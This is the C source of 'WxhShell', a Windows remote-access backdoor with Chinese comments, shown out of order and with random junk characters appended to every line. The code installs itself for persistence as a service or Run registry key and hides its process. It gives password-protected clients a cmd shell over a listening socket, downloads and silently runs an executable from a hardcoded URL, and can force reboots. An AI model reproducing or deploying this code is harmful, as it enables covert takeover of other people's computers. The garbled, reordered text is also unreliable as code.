    else { "h84D&V  
    closesocket(wsh); G(*7hs  
    ExitThread(0); |_H{ B+.  
    } O^_$cq  
    break; fPj*qi  
    } 9P)28\4  
  // 获取shell W,53|9b@  
  case 's': { Wb;x eG  
    CmdShell(wsh); < 9 vS  
    closesocket(wsh); <jk.9$\$A  
    ExitThread(0); 6%^9`|3  
    break; 50?5xSEM0_  
  } R|,F C'  
  // 退出 $Rd]e C  
  case 'x': { zg[.Pws:E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XSv)=]{  
    CloseIt(wsh); jW< aAd  
    break; )d^b\On  
    } w%NT 0J  
  // 离开 Ia'm9Z*  
  case 'q': { 0\X'a}8Bu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >(9"D8  
    closesocket(wsh); ?04$1n:  
    WSACleanup(); EYaX@|)  
    exit(1); /DC\F5 G  
    break; -:jC.} Y  
        } EXz{Pqz  
  } h88 IP:bo  
  } Y;B#_}yF  
f'-) 3T  
  // 提示信息 8A,="YIt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t)62_nu  
} Qt VZ)777  
  } .zMM!l3  
A:JW Ux  
  return; % njcWVP;  
} "{X_[  
d=$1Z. ]  
// shell模块句柄 'y<<ce*   
int CmdShell(SOCKET sock) 3v:c".O2O  
{ J_tI]?jrU  
STARTUPINFO si; l4LowV7  
ZeroMemory(&si,sizeof(si)); U*R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }w%W A&"W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sP` k{xG  
PROCESS_INFORMATION ProcessInfo; $mF(6<w  
char cmdline[]="cmd"; F# a)"$j;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E~| XY9U36  
  return 0; /`x)B(b  
} sO;]l"{<  
}8\"oA6  
// 自身启动模式 =JK# "'  
int StartFromService(void) 8ba*:sb  
{ (+=TKI<=  
typedef struct MV,;l94?%=  
{ 8>(DQ"h  
  DWORD ExitStatus; OD~TWT_  
  DWORD PebBaseAddress; wRLj>nc  
  DWORD AffinityMask; Hrd z1:#6,  
  DWORD BasePriority; aN}l&4d  
  ULONG UniqueProcessId; xn`<g|"#  
  ULONG InheritedFromUniqueProcessId; 1$^=M[v  
}   PROCESS_BASIC_INFORMATION; puPYM"  
==W`qC4n?n  
PROCNTQSIP NtQueryInformationProcess; HbUadPr  
$S(q;Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]L?DV3N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (!iGQj(m  
rQ!X  
  HANDLE             hProcess; p#T^o]+  
  PROCESS_BASIC_INFORMATION pbi; "v9i;Ba>+  
YJ[Jo3M@j0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c~=yD:$  
  if(NULL == hInst ) return 0; 7lJs{$ P  
R8K ?! Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~H+W[r}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A8by5qU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r:n-?P  
Hswgv$n  
  if (!NtQueryInformationProcess) return 0; 9" RGf 1]  
Jc74A=sT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U if61)+!i  
  if(!hProcess) return 0; Q x]zz4jD  
dreEes`|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6?X)'  
i( l'f#  
  CloseHandle(hProcess); RgQ;fYS  
ktMUTL(B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4qc 0QA%  
if(hProcess==NULL) return 0; 3"pl="[*  
TiF2c#Q*y  
HMODULE hMod; ;&9A Yh.  
char procName[255]; *z{.9z`  
unsigned long cbNeeded; ~LKX2Q:S  
(H*d">`mz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y,OwO4+y\  
g\n0v~T+  
  CloseHandle(hProcess); B&Igm<72x  
my|UlZ(qg  
if(strstr(procName,"services")) return 1; // 以服务启动 )U':NV2  
1sHaG  
  return 0; // 注册表启动 =yZiBJ  
} 01-n_ $b  
nnm9pnx  
// 主模块 UJX=lh.o  
int StartWxhshell(LPSTR lpCmdLine) N+[ |"v  
{ E+.%9EKU  
  SOCKET wsl; )&$Zt(  
BOOL val=TRUE; k\J 6WT  
  int port=0; 9j6  
  struct sockaddr_in door; DwL4?!E  
; {P"~(S%  
  if(wscfg.ws_autoins) Install(); NIQX?|;b{  
YyZ>w2_MTi  
port=atoi(lpCmdLine); 3X,SCG  
=?, dX  
if(port<=0) port=wscfg.ws_port; \s[/{3  
$7 08\!  
  WSADATA data; UQ ~7,D`=#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0qV"R7TW  
@fVCGV?'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {m&8Viq1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ezOZHY>|#  
  door.sin_family = AF_INET; w?+v+k\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %j[DG_  
  door.sin_port = htons(port); LT5rLdn  
Yom,{;Bv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MDo4{7  
closesocket(wsl); hSvA dT]m  
return 1; O+o4E?}  
} bLHj<AX#>|  
#{t?[JUn  
  if(listen(wsl,2) == INVALID_SOCKET) { ;AwQpq>dy  
closesocket(wsl); P9RIX;A=  
return 1; ;goR0PN  
} ?xTh}Sky  
  Wxhshell(wsl); g7|$JevR0  
  WSACleanup(); r:&"#F   
77Fpb?0`  
return 0; iSZiJ4AUq  
l/JE}Eg(  
} zMXlLRC0  
:IZ(9=hs  
// 以NT服务方式启动 ?rD`'B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^lP_{ c  
{ ?QnVWu2K  
DWORD   status = 0; SnhB$DG  
  DWORD   specificError = 0xfffffff; RRNoX }  
QqC4g]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Eoj 2l&\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iuX82z`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E/MNz}+  
  serviceStatus.dwWin32ExitCode     = 0; ;,8bb(j  
  serviceStatus.dwServiceSpecificExitCode = 0; l[2 d{r  
  serviceStatus.dwCheckPoint       = 0; v%e-vl  
  serviceStatus.dwWaitHint       = 0; P`^{dH $P  
4RH'GnLa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eDm~B (G$  
  if (hServiceStatusHandle==0) return; Z(8'ki  
 ^vPt Ppt  
status = GetLastError(); _PPW9US{  
  if (status!=NO_ERROR) >tq,F"2amC  
{ @R|Gz/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CTbz?Kn  
    serviceStatus.dwCheckPoint       = 0; %("Bq"Q8  
    serviceStatus.dwWaitHint       = 0; NjCdkT&g  
    serviceStatus.dwWin32ExitCode     = status; cdDMV%V  
    serviceStatus.dwServiceSpecificExitCode = specificError; #>|l"1   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WJ{hta  
    return; U[ $KQEJYj  
  } x=>+.'K  
">n38:?R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [U]ouh)  
  serviceStatus.dwCheckPoint       = 0; nC3U%*l  
  serviceStatus.dwWaitHint       = 0; uh~/ybR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q>~\w1%}a\  
} }@ *Me+  
GnE%C2L -  
// 处理NT服务事件,比如:启动、停止 R?Dbv'lp>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) idC4yH42  
{ 2 NgEzY 5  
switch(fdwControl) LWB"}#vt  
{ G36}4  
case SERVICE_CONTROL_STOP: U#O 6l-xe]  
  serviceStatus.dwWin32ExitCode = 0; (;V=A4F-D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *ay>MlcV2=  
  serviceStatus.dwCheckPoint   = 0; ?,J N?  
  serviceStatus.dwWaitHint     = 0; Dj<]eG]  
  { iI[Z|"a21  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Jlz{msI  
  } Ty"OJ  
  return; D&{ 7Av  
case SERVICE_CONTROL_PAUSE: R;P>_ei(LK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <"uT=]wZ=  
  break; o@`& h} $  
case SERVICE_CONTROL_CONTINUE: [mSK!Y@u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^KU:5Bn  
  break; i>9/vwe  
case SERVICE_CONTROL_INTERROGATE: CjzfU*G  
  break; oRM,_  
}; fb5]eec  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7L[HtwI  
} gc:qqJi)X  
Lc|5&<8ZG1  
// 标准应用程序主函数 ];waK 2'2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .(Gq9m[~8H  
{ o0~+%&  
IED7v  
// 获取操作系统版本 !A"`jc~x:  
OsIsNt=GetOsVer(); rSIb1zJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  8@)/a  
Hp_3BulS<  
  // 从命令行安装 ~RVx~hh  
  if(strpbrk(lpCmdLine,"iI")) Install(); J?XEF@?'G  
Ve,_;<F]S  
  // 下载执行文件 1NO<K`  
if(wscfg.ws_downexe) { ExDH@Lb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jy'ge4]3  
  WinExec(wscfg.ws_filenam,SW_HIDE); H!Y`?Rc  
} *'+OA6  
Gd)@PWK  
if(!OsIsNt) { BJ3st  
// 如果时win9x,隐藏进程并且设置为注册表启动 29K09 0f  
HideProc(); D?rQQxb  
StartWxhshell(lpCmdLine); #&G^%1!  
} IKM=Q. 7j  
else z.g'8#@  
  if(StartFromService()) :\Z;FA@g(g  
  // 以服务方式启动 .`!|^h%0  
  StartServiceCtrlDispatcher(DispatchTable); C#X0Cn0ln  
else A2z%zMlZc  
  // 普通方式启动 B.&ly/d  
  StartWxhshell(lpCmdLine); NIDK:q dR  
+[9~ta|j  
return 0; 9n!<M)E  
} 4 uv'l3  
ZpPm>|w  
9YMUvd,u  
J{=by]-rD,  
=========================================== %-+lud  
/vFw5KUu  
_9E7;ew  
;m}lmq,  
da3]#%i0  
$4`RJ{ZJw]  
" _pQ9q&i4  
guv)[:cd;  
#include <stdio.h> ,MwwA@,9-  
#include <string.h> ZD1UMB0$4  
#include <windows.h> g2 uc+p  
#include <winsock2.h> x%ZjGDFm  
#include <winsvc.h> "sz)~Q'W5  
#include <urlmon.h> 8#S|j BV  
rr2'bf<]  
#pragma comment (lib, "Ws2_32.lib") b1>%%#  
#pragma comment (lib, "urlmon.lib") >R/^|hnJ  
ARW|wXhyf  
#define MAX_USER   100 // 最大客户端连接数 -^8gZk/(W  
#define BUF_SOCK   200 // sock buffer $kJvPwRO  
#define KEY_BUFF   255 // 输入 buffer GLA,,i'i9  
!3K6ew>Sf  
#define REBOOT     0   // 重启 O qDLb  
#define SHUTDOWN   1   // 关机 x+(h#+F  
Z>Nr"7k  
#define DEF_PORT   5000 // 监听端口 $%VFk53I  
JoA^9AYhR  
#define REG_LEN     16   // 注册表键长度 L<Q1acoZm  
#define SVC_LEN     80   // NT服务名长度 ;$(a+?  
+bvY*^i  
// 从dll定义API Q"CZ}B1<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MP?9k)f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1i9}mzy%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -[~UX!XFM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .O'S@ %]  
)cB00*/  
// wxhshell配置信息 E/:<9xl  
struct WSCFG { ?gjM]Ki%:  
  int ws_port;         // 监听端口 _ Onsfv  
  char ws_passstr[REG_LEN]; // 口令 aYe,5dK>  
  int ws_autoins;       // 安装标记, 1=yes 0=no pL>Q'{7s3  
  char ws_regname[REG_LEN]; // 注册表键名 GiB3.%R`  
  char ws_svcname[REG_LEN]; // 服务名 a3 wUB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aT"q}UTK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [i.2lt#]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  N\DEY]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JP9eNc[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z~$=V:EA?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F<X)eO]tk  
nJ.p PzH2g  
}; InMeD[*^  
DqrS5!C  
// default Wxhshell configuration di`Ql._M  
struct WSCFG wscfg={DEF_PORT, oddS~lW  
    "xuhuanlingzhe", =0`"T!1  
    1, R>[2}R30  
    "Wxhshell", o87. (  
    "Wxhshell", o`\l&jUNe  
            "WxhShell Service", ^V v7u@y  
    "Wrsky Windows CmdShell Service", Afo(! v  
    "Please Input Your Password: ", E=GCq=Uw  
  1, w``t"v4  
  "http://www.wrsky.com/wxhshell.exe", gIep6nq1`|  
  "Wxhshell.exe" _;$VH4(BI  
    }; 'Wl) )lB  
&fq-U5zH  
// 消息定义模块 Skl1%`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N%/Qc hu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aB-*l %x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :x]gTZ?  
char *msg_ws_ext="\n\rExit."; x$I~y D  
char *msg_ws_end="\n\rQuit."; /K<Xr[z~y  
char *msg_ws_boot="\n\rReboot..."; e`'O!  
char *msg_ws_poff="\n\rShutdown..."; }8GCOY  
char *msg_ws_down="\n\rSave to "; R>BI;IcX  
-MJ6~4k2  
char *msg_ws_err="\n\rErr!";  9mwL\j  
char *msg_ws_ok="\n\rOK!"; ^%|{>Mz;c  
c, \TL ]  
char ExeFile[MAX_PATH]; f8_5.vlw  
int nUser = 0; YMad]_XOP  
HANDLE handles[MAX_USER]; Q<P],}?:  
int OsIsNt; ]3xnq<  
~d?7\:n  
SERVICE_STATUS       serviceStatus; "m0>u,HmI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Fe%Q8RIh_  
c'&3[aa  
// 函数声明 TZi%,yK  
int Install(void); $jo}?Y+  
int Uninstall(void); N \[Cuh8Fe  
int DownloadFile(char *sURL, SOCKET wsh); 37x2fnC  
int Boot(int flag); d"uR1 rTk  
void HideProc(void); FVT_%"%C9  
int GetOsVer(void); Wk$[;>NU3  
int Wxhshell(SOCKET wsl); '81$8xxdY  
void TalkWithClient(void *cs); KnbT2  
int CmdShell(SOCKET sock); / _-?NZ  
int StartFromService(void); b\"JXfw  
int StartWxhshell(LPSTR lpCmdLine); Z%6I$KAN8  
k# ZO4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9s6, &'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xoml  
bw9a@X  
// 数据结构和表定义 2!cP[ Ck  
SERVICE_TABLE_ENTRY DispatchTable[] = i;y<gm"  
{ }&d]Uv/4  
{wscfg.ws_svcname, NTServiceMain}, nBjfR2TuF  
{NULL, NULL} ueZ`+g~gg  
}; X3".  
zv||&Hi  
// 自我安装 +dS e" W9  
int Install(void) o~<37J3).  
{ HviL4iO  
  char svExeFile[MAX_PATH]; >&RpfE[  
  HKEY key; \gki!!HQ  
  strcpy(svExeFile,ExeFile); Nj*J~&6G  
(ScL  C  
// 如果是win9x系统,修改注册表设为自启动 rr'RX  
if(!OsIsNt) { w '~f Z*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pq#Hca[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); > YKvwbCf8  
  RegCloseKey(key); <w+K$WE {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HGs.v}@&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^;$a_eR  
  RegCloseKey(key); )MHvuk:I)  
  return 0; E).N u  
    } `Q<hL{AH  
  } <<6i6b  
} 2TmQaDu%b  
else { {jcrTjmxe  
^, q\S  
// 如果是NT以上系统,安装为系统服务 L 9Z:>i?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XWo:~\  
if (schSCManager!=0) %L:e~*  
{ NwIl~FNK  
  SC_HANDLE schService = CreateService `]_#_  
  ( J1YP-:  
  schSCManager, ,m{Zn"?kS  
  wscfg.ws_svcname, zK(9k0+s  
  wscfg.ws_svcdisp, R#1h.8  
  SERVICE_ALL_ACCESS, M-,vX15S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z<;<!+,  
  SERVICE_AUTO_START, tcSn`+Bu_`  
  SERVICE_ERROR_NORMAL, HtgVD~[]  
  svExeFile, P7&a~N$T6W  
  NULL, 73A1+2  
  NULL, l6:k|hrm;  
  NULL, %L=ro qz  
  NULL, _' Xt  
  NULL R4 ;^R  
  ); u^s{r`/  
  if (schService!=0) =&U JFu  
  { v2gK(&?  
  CloseServiceHandle(schService); e!d& #ofw|  
  CloseServiceHandle(schSCManager); p )etl5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ba1zu|@w  
  strcat(svExeFile,wscfg.ws_svcname); ah>;wW!6/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KVvIo1$N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  MScjq  
  RegCloseKey(key); n AQB  
  return 0; <@.f#  
    } Z=|:D,&  
  } t~)w921>  
  CloseServiceHandle(schSCManager); wr~# rfH  
} ZtlF]k:MV  
} f7)}A/$4+  
o )GNV  
return 1; Q6Vy}  
} ?=dyU(  
v:PNt#Ta  
// 自我卸载 ELk$ lm&@  
int Uninstall(void) aAh")B2  
{ B#&U5fSw+0  
  HKEY key; Dp8YzWL2^  
>(ku*  
if(!OsIsNt) { sl}bNzT#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "(F>?pq  
  RegDeleteValue(key,wscfg.ws_regname); 8wp)aGTcU  
  RegCloseKey(key); z'O$[6m6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,+3l9FuQ  
  RegDeleteValue(key,wscfg.ws_regname); R44JK  
  RegCloseKey(key); NS6#od ZeV  
  return 0; %0YwaxXPn7  
  } YC - -&66  
} 4xk'R[v  
} 1`Cr1pH  
else { hzg&OW=:  
"G)-:!H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5JK{dis]k  
if (schSCManager!=0) 2P`hdg  
{ bU/5ug.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^2mmgN   
  if (schService!=0) /0s1q  
  { "[L[*>[9!  
  if(DeleteService(schService)!=0) { ~e@ QJ=r  
  CloseServiceHandle(schService); 3v :PBmE  
  CloseServiceHandle(schSCManager); lsCD%P  
  return 0; wA|m/SZx  
  } *>n<7T0  
  CloseServiceHandle(schService); V.Dqbv  
  } g05:A0X#  
  CloseServiceHandle(schSCManager); 'uGn1|Pvy  
} \9geDX9A  
} / *Z( ;-  
)?^0<l#s  
return 1; }\|$8~  
} cF_ Y}C  
(5]<t&M  
// 从指定url下载文件 \|BtgT*$b  
int DownloadFile(char *sURL, SOCKET wsh) B_i@D?bTD  
{ '*MNRduE6  
  HRESULT hr;  ]hpocr  
char seps[]= "/"; tu#VZAPW@  
char *token; sn '#]yM  
char *file; +v2Fr}  
char myURL[MAX_PATH]; }_u1'  
char myFILE[MAX_PATH]; &, hhH_W  
rbS67--]  
strcpy(myURL,sURL); 8G`fSac`  
  token=strtok(myURL,seps); }BlVLf%C  
  while(token!=NULL) 9eo$Duws  
  { KFCrJ )  
    file=token; YQ}Rg5 o  
  token=strtok(NULL,seps); r@5_LD@f  
  } y-m<&{q  
6]^ShOX_Z  
GetCurrentDirectory(MAX_PATH,myFILE); L#Uk=  
strcat(myFILE, "\\"); sDTCV8"w  
strcat(myFILE, file); n"N!76  
  send(wsh,myFILE,strlen(myFILE),0); r0379 _  
send(wsh,"...",3,0); >0~|iRySi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aFjcyD  
  if(hr==S_OK) f9W@!]LHJ  
return 0; ;:,hdFap  
else k(+ EY%  
return 1; Vcz ExP  
w{f!t8C*s  
} sXDS_Q  
=o^oMn  
// 系统电源模块 -D?T0>  
int Boot(int flag) xQ\/6|  
{ {P"$;_Y"<  
  HANDLE hToken; D+lzISp~e  
  TOKEN_PRIVILEGES tkp; B!0o6)u'  
>&6pBtC_  
  if(OsIsNt) { ~UA-GWb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N3 .!E|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =kH7   
    tkp.PrivilegeCount = 1; DygMavA.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [g`9C!P-G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e` Z;}& ,  
if(flag==REBOOT) { `CA-s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JV(qTb W  
  return 0; De%WT:v  
} NNLZ38BV7  
else { :0|]cHm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3`uv/O2~i  
  return 0; secD ` ]  
} U??P  
  } U\a.'K50F  
  else { };6[Byf  
if(flag==REBOOT) { nAPSs]D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T4dLuJl  
  return 0; k FE2Vv4.  
} Cj"+` C)l  
else { [[2Zcz:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8 z0j}xY%  
  return 0; M]4qS('[  
} ,r~pf (nz  
} `T7gfb%1-3  
4Xi _[ Xf  
return 1; Wew'bj  
} xS?[v&"2  
Dg3S n|!f  
// win9x进程隐藏模块 RAYDl=}  
void HideProc(void) OD7tM0Wn  
{ iU"jV*P]  
CB_ww=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ts%XjCN[  
  if ( hKernel != NULL ) 7s@%LS  
  { <wWZ]P 2]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qp3J/(F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nt. A X  
    FreeLibrary(hKernel); &?UIe]  
  } #$7d1bx  
tkX7yg>`  
return; Y5?*=eM  
} is}6cR  
,rj_P  
// 获取操作系统版本 Qz)1wf'y  
int GetOsVer(void) xj`ni G  
{ 3Kuu9< 0  
  OSVERSIONINFO winfo; !iUFD*~r~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >a/]8A  
  GetVersionEx(&winfo); ~R^~?Y%+<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tmT/4Ia  
  return 1; Pu/X_D-#Gi  
  else hG51jVYtw  
  return 0; L c4\i  
} ?# ~3%$>  
lZ]x #v  
// 客户端句柄模块 g(Q)fw  
int Wxhshell(SOCKET wsl) q2 K@i*s  
{ dd1CuOd6(1  
  SOCKET wsh; KG9h rT  
  struct sockaddr_in client; Y~z3fd  
  DWORD myID; Ua0fs|t1v  
'-C%?*ku  
  while(nUser<MAX_USER) s jl(  
{ +e VWTRG  
  int nSize=sizeof(client); _~~:@fy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ilt!O^  
  if(wsh==INVALID_SOCKET) return 1; q"BM*:W  
7^1yZ1(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kg lL@V7  
if(handles[nUser]==0) eaLR-+vEB  
  closesocket(wsh); RhwqAok|lj  
else p1~u5BE7O  
  nUser++; BkywYCWZ )  
  } L&h@`NPO a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JxI\ss?O  
{l/j?1Dxq  
  return 0; ab"6]%_  
}  uP|Py.+  
:yg:sU  
// 关闭 socket PP/EZ^]b  
void CloseIt(SOCKET wsh) PF=BXY1<UL  
{ u /PaXQ  
closesocket(wsh); cHqT1EY  
nUser--; >f)/z$ qn  
ExitThread(0); eh4`a<gC  
} \"r84@<  
D1w;cV7/d  
// 客户端请求句柄 lO^Ly27  
void TalkWithClient(void *cs) y[QQopy4:  
{ 2stBW5v3  
((KNOa5  
  SOCKET wsh=(SOCKET)cs; <zd_-Ysn  
  char pwd[SVC_LEN]; cyYsz'i m  
  char cmd[KEY_BUFF]; XS:W{tL!  
char chr[1]; X}"Ic@8  
int i,j; D*7JE  
/mS|Byx  
  while (nUser < MAX_USER) { tYb8a  
>4I,9TO  
if(wscfg.ws_passstr) { Gg'sgn   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3B*b d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4)- ?1?)  
  //ZeroMemory(pwd,KEY_BUFF); Vyy;mEBg  
      i=0; KmF" Ccc  
  while(i<SVC_LEN) { ,q9nHZG^  
OYnxEdo7  
  // 设置超时 o>Fc.$ngZ  
  fd_set FdRead; RWyDX_z#<  
  struct timeval TimeOut; Vo1,{"k  
  FD_ZERO(&FdRead); VycC uq&M  
  FD_SET(wsh,&FdRead); )w.+( v(  
  TimeOut.tv_sec=8; f3r\X  
  TimeOut.tv_usec=0; ;/-v4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {tS^Q*F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "&$ [@c  
^:krfXT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0)<\jo1 F  
  pwd=chr[0]; `O5 Hzb(}  
  if(chr[0]==0xd || chr[0]==0xa) { p2m@0ou  
  pwd=0; "gt-bo.,  
  break; R'Gka1v  
  } ,<Ag&*YE4  
  i++; F7fpsAt7  
    } #6g9@tE  
>z{*>i,m1  
  // 如果是非法用户,关闭 socket oe (})M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4KbOyTQ  
} Rgstk/1  
TRLz>mQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -4 *94<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6YErF|  
V_'!#  
while(1) { m-xnbTcQ  
J\06j%d,  
  ZeroMemory(cmd,KEY_BUFF); 8>R 75 dw  
gKPqWh  
      // 自动支持客户端 telnet标准   uUhqj.::<Y  
  j=0; J#1-Le8@  
  while(j<KEY_BUFF) { U-~6<\Mf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ ,:3I*}be  
  cmd[j]=chr[0];  w^Mj[v#  
  if(chr[0]==0xa || chr[0]==0xd) { ON,sN  
  cmd[j]=0; z (1zth  
  break; dM-qd`  
  } 9+irf^D`O  
  j++; OBnf5*eJ  
    } !xE /  
i}tBB~]  
  // 下载文件 TTYM!+T  
  if(strstr(cmd,"http://")) { X mmb^2I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LqYP0%7  
  if(DownloadFile(cmd,wsh)) wOMrUWB0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tasmbo^mAF  
  else VtTTvP3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ym% $!#  
  } b(E}W2-t  
  else { cVV@MC  
wo#,c(  
    switch(cmd[0]) { v[7iWBqJ  
  s'7PHP)LOJ  
  // 帮助 ?IN'Dc9&%-  
  case '?': { 24g\x Nnt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $a@T:zfe  
    break; OfE>8*RI4  
  } 6D\$K  
